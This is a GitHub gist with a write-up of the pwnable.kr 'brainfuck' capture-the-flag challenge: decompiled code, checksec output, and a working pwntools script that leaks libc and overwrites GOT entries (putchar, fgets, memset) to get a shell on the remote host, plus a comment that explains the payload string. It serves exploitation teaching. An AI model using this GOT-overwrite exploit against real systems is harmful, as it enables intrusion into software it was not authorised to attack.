Instantly share code, notes, and snippets.

Embed
What would you like to do?
Pwnable.kr brainfuck writeup

Pwnable.kr brainfuck writeup

ihciah@gmail.com

Load bf with IDA:

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 1024u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

do_brainfuck:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  int v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case '>':
      result = p++ + 1;
      break;
    case '<':
      result = p-- - 1;
      break;
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(_BYTE *)p);
      break;
    case ',':
      v2 = p;
      result = getchar();
      *(_BYTE *)v2 = result;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

checksec using checksec --file bf:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes	0		4	bf

We can move a pointer and write value at that address using ,, also, we can use . to read data from it. So we can leak libc address, we can replace given function with the function in libc.

Since we cannot change the string "[ and ] not supported." in .rodata, so it may be not easy to modify puts's got table to system. The function putchar is not suitable either, because the parameter is a char instead of pointer.

Here I modify putchar's got table to let it jump to _start, and let memset be gets, fgets be system.

➜  ctf  python bf.py
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ cat flag
BrainFuck? what a weird language..
$ id
uid=1008(bf) gid=1008(bf) groups=1008(bf)
from pwn import *
#ihciah@gmail.com
libc = ELF('/home/c/ctf/libc.so.6')
bf = remote('pwnable.kr', 9001)
bf.recvline_startswith('type')
bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.')
bf.recv(1)
x=bf.recv(4)[::-1]
jump=0x080484E0
bf.send(p32(jump))
system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system']
gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets']
bf.send(p32(system))
bf.send(p32(gets))
bf.sendline('/bin/sh\x00')
bf.interactive()
@paruchuri

This comment has been minimized.

paruchuri commented Feb 26, 2016

Hello,
It would have been good, if you have explained in detail of how you get control over IP(Instruction Pointer) with following input. '<'_112+'.'+'.>'_4+'<'_4+',>'4+'<'(4+32)+',>'_4+'<'_4+'>'_28+',>'*4+'.'

Thank you.

@lucasduffey

This comment has been minimized.

lucasduffey commented Mar 29, 2018

'<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.' broken down

# default pointer value
p = 0x804a0a0 

# subtract 112 from ptr to point to putchar@GOT
'<' * 112 

# leak a byte
'.' 

# leak putchar@GOT pointer to calculate libc base address
'.>' * 4 

# p = putchar@GOT
'<' * 4 

# overwrite putchar@GOT to _start (0x080484E0)
',>' * 4 

# p -= 36 (fgets@GOT)
'<' * (4+32) 

# overwrite fgets@GOT to point to system
',>' * 4 

# p -= 4 (fgets@GOT)
'<' * 4 

# p += 28 (memset@GOT)
'>' * 28 

# overwrite memset@GOT ptr to point to gets
',>' * 4 

# call putchar, which now jumps to _start
'.' 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment